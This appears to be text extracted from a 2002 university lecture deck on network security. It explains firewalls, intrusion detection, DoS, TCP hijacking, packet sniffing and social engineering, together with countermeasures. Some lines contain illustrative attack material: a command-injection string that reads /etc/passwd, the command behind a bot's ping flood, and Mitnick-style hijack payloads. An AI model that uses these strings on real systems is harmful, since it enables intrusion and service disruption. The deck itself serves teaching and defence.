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What is Common security attacks and countermeasures?

Common security attacks and countermeasures 19
Network Security 15441 Networks Fall 2002 1A Brief History of the World 15441 Networks Fall 2002 2Overview  What is security  Why do we need security  Who is vulnerable  Common security attacks and countermeasures – Firewalls Intrusion Detection Systems – Denial of Service Attacks – TCP Attacks – Packet Sniffing – Social Problems 15441 Networks Fall 2002 3What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15441 Networks Fall 2002 4What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15441 Networks Fall 2002 5What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15441 Networks Fall 2002 6What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15441 Networks Fall 2002 7Why do we need security  Protect vital information while still allowing access to those who need it – Trade secrets, medical records, etc.  Provide authentication and access control for resources – Ex: AFS  Guarantee availability of resources – Ex: 5 9’s (99.999 reliability) 15441 Networks Fall 2002 8Who is vulnerable  Financial institutions and banks  Internet service providers  Pharmaceutical companies  Government and defense agencies  Contractors to various government agencies  Multinational corporations  ANYONE ON THE NETWORK 15441 Networks Fall 2002 9Common security attacks and their countermeasures  Finding a way into the network – Firewalls  Exploiting software bugs, buffer overflows – Intrusion Detection Systems  Denial of Service – Ingress filtering, IDS  TCP hijacking – IPSec  Packet sniffing – Encryption (SSH, SSL, HTTPS)  Social problems – Education 15441 Networks Fall 2002 10Firewalls  Basic problem – many network applications and protocols have security problems that are fixed over time – Difficult for users to keep up with changes and keep host secure – Solution • Administrators limit access to end hosts by using a firewall • Firewall is kept uptodate by administrators 15441 Networks Fall 2002 11Firewalls  A firewall is like a castle with a drawbridge – Only one point of access into the network – This can be good or bad  Can be hardware or software – Ex. Some routers come with firewall functionality – ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls 15441 Networks Fall 2002 12Firewall Firewall Firewalls Internet DMZ Web server, email server, web proxy, etc Intranet 15441 Networks Fall 2002 13Firewalls  Used to filter packets based on a combination of features – These are called packet filtering firewalls • There are other types too, but they will not be discussed – Ex. Drop packets with destination port of 23 (Telnet) – Can use any combination of IP/UDP/TCP header information – man ipfw on unix47 for much more detail  But why don’t we just turn Telnet off 15441 Networks Fall 2002 14Firewalls  Here is what a computer with a default Windows XP install looks like: – 135/tcp open locsrv – 139/tcp open netbiosssn – 445/tcp open microsoftds – 1025/tcp open NFSorIIS – 3389/tcp open mstermserv – 5000/tcp open UPnP  Might need some of these services, or might not be able to control all the machines on the network 15441 Networks Fall 2002 15Firewalls  What does a firewall rule look like – Depends on the firewall used  Example: ipfw – /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet  Other examples: WinXP Mac OS X have built in and third party firewalls – Different graphical user interfaces – Varying amounts of complexity and power 15441 Networks Fall 2002 16Intrusion Detection  Used to monitor for “suspicious activity” on a network – Can protect against known software exploits, like buffer overflows  Open Source IDS: Snort, www.snort.org 15441 Networks Fall 2002 17Intrusion Detection  Uses “intrusion signatures” – Well known patterns of behavior • Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc.  Example – IRIX vulnerability in webdist.cgi – Can make a rule to drop packets containing the line •“/cgibin/webdist.cgidistloc=;cat20/etc/passwd”  However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring 15441 Networks Fall 2002 18Minor Detour…  Say we got the /etc/passwd file from the IRIX server  What can we do with it 15441 Networks Fall 2002 19Dictionary Attack  We can run a dictionary attack on the passwords – The passwords in /etc/passwd are encrypted with the crypt(3) function (oneway hash) – Can take a dictionary of words, crypt() them all, and compare with the hashed passwords  This is why your passwords should be meaningless random junk – For example, “sdfo839f” is a good password • That is not my andrew password • Please don’t try it either 15441 Networks Fall 2002 20Denial of Service  Purpose: Make a network service unusable, usually by overloading the server or network  Many different kinds of DoS attacks – SYN flooding – SMURF – Distributed attacks – Mini Case Study: CodeRed 15441 Networks Fall 2002 21Denial of Service  SYN flooding attack  Send SYN packets with bogus source address – Why  Server responds with SYN ACK and keeps state about TCP halfopen connection – Eventually, server memory is exhausted with this state  Solution: use “SYN cookies” – In response to a SYN, create a special “cookie” for the connection, and forget everything else – Then, can recreate the forgotten information when the ACK comes in from a legitimate connection 15441 Networks Fall 2002 22Denial of Service 15441 Networks Fall 2002 23Denial of Service  SMURF – Source IP address of a broadcast ping is forged – Large number of machines respond back to victim, overloading it 15441 Networks Fall 2002 24Denial of Service ICMP echo (spoofed source address of victim) Sent to IP broadcast address ICMP echo reply Internet Victim Perpetrator 15441 Networks Fall 2002 25Denial of Service  Distributed Denial of Service – Same techniques as regular DoS, but on a much larger scale – Example: Sub7Server Trojan and IRC bots • Infect a large number of machines with a “zombie” program • Zombie program logs into an IRC channel and awaits commands • Example: – Bot command: p4 207.71.92.193 – Result: runs ping.exe 207.71.92.193 l 65500 n 10000 – Sends 10,000 64k packets to the host (655MB) • Read more at: http://grc.com/dos/grcdos.htm 15441 Networks Fall 2002 26Denial of Service  Mini Case Study – CodeRed – July 19, 2001: over 359,000 computers infected with CodeRed in less than 14 hours – Used a recently known buffer exploit in Microsoft IIS – Damages estimated in excess of 2.6 billion 15441 Networks Fall 2002 27Denial of Service  Why is this under the Denial of Service category – CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month – Spent the rest of its time infecting other hosts 15441 Networks Fall 2002 28Denial of Service  How can we protect ourselves – Ingress filtering • If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it • RFC 2267 has more information about this – Stay on top of CERT advisories and the latest security patches • A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed 15441 Networks Fall 2002 29TCP Attacks  Recall how IP works… – End hosts create IP packets and routers process them purely based on destination address alone  Problem: End hosts may lie about other fields which do not affect delivery – Source address – host may trick destination into believing that the packet is from a trusted source • Especially applications which use IP addresses as a simple authentication method • Solution – use better authentication methods 15441 Networks Fall 2002 30TCP Attacks  TCP connections have associated state – Starting sequence numbers, port numbers  Problem – what if an attacker learns these values – Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) – Sequence numbers are sometimes chosen in very predictable ways 15441 Networks Fall 2002 31TCP Attacks  If an attacker learns the associated TCP state for the connection, then the connection can be hijacked  Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source – Ex. Instead of downloading and running new program, you download a virus and execute it 15441 Networks Fall 2002 32TCP Attacks  Say hello to Alice, Bob and Mr. Big Ears 15441 Networks Fall 2002 33TCP Attacks  Alice and Bob have an established TCP connection 15441 Networks Fall 2002 34TCP Attacks  Mr. Big Ears lies on the path between Alice and Bob on the network – He can intercept all of their packets 15441 Networks Fall 2002 35TCP Attacks  First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why) Packets The Void 15441 Networks Fall 2002 36TCP Attacks  Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) ISN, SRC=Alice 15441 Networks Fall 2002 37TCP Attacks  What if Mr. Big Ears is unable to sniff the packets between Alice and Bob – Can just DoS Alice instead of dropping her packets – Can just send guesses of what the ISN is until it is accepted  How do you know when the ISN is accepted – Mitnick: payload is “add self to .rhosts” – Or, “xterm display MrBigEars:0” 15441 Networks Fall 2002 38TCP Attacks  Why are these types of TCP attacks so dangerous Web server Trusting web client Malicious user 15441 Networks Fall 2002 39TCP Attacks  How do we prevent this  IPSec – Provides source authentication, so Mr. Big Ears cannot pretend to be Alice – Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is 15441 Networks Fall 2002 40Five Minute Break  For your enjoyment, here is something completely unrelated to this lecture: 15441 Networks Fall 2002 41Packet Sniffing  Recall how Ethernet works …  When someone wants to send a packet to some else …  They put the bits on the wire with the destination MAC address …  And remember that other hosts are listening on the wire to detect for collisions …  It couldn’t get any easier to figure out what data is being transmitted over the network 15441 Networks Fall 2002 42Packet Sniffing  This works for wireless too  In fact, it works for any broadcastbased medium 15441 Networks Fall 2002 43Packet Sniffing  What kinds of data can we get  Asked another way, what kind of information would be most useful to a malicious user  Answer: Anything in plain text – Passwords are the most popular 15441 Networks Fall 2002 44Packet Sniffing  How can we protect ourselves  SSH, not Telnet – Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead) – Now that I have told you this, please do not exploit this information – Packet sniffing is, by the way, prohibited by Computing Services  HTTP over SSL – Especially when making purchases with credit cards  SFTP, not FTP – Unless you really don’t care about the password or data – Can also use KerbFTP (download from MyAndrew)  IPSec – Provides networklayer confidentiality 15441 Networks Fall 2002 45Social Problems  People can be just as dangerous as unprotected computer systems – People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information – Most humans will breakdown once they are at the “harmed” stage, unless they have been specially trained • Think government here… 15441 Networks Fall 2002 46Social Problems  Fun Example 1: – “Hi, I’m your ATT rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me” 15441 Networks Fall 2002 47Social Problems  Fun Example 2: – Someone calls you in the middle of the night • “Have you been calling Egypt for the last six hours” • “No” • “Well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about 2000 worth of charges on your card and … read off your ATT card number and PIN and then I’ll get rid of the charge for you” 15441 Networks Fall 2002 48Social Problems  Fun Example 3: – Who saw Office Space – In the movie, the three disgruntled employees installed a moneystealing worm onto the companies systems – They did this from inside the company, where they had full access to the companies systems • What security techniques can we use to prevent this type of access 15441 Networks Fall 2002 49Social Problems  There aren’t always solutions to all of these problems – Humans will continue to be tricked into giving out information they shouldn’t – Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it  So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information – But, this solution is still not perfect 15441 Networks Fall 2002 50Conclusions  The Internet works only because we implicitly trust one another  It is very easy to exploit this trust  The same holds true for software  It is important to stay on top of the latest CERT security advisories to know how to patch any security holes 15441 Networks Fall 2002 51Security related URLs  http://www.robertgraham.com/pubs/network intrusiondetection.html  http://online.securityfocus.com/infocus/1527  http://www.snort.org/  http://www.cert.org/  http://www.nmap.org/  http://grc.com/dos/grcdos.htm  http://lcamtuf.coredump.cx/newtcp/ 15441 Networks Fall 2002 52
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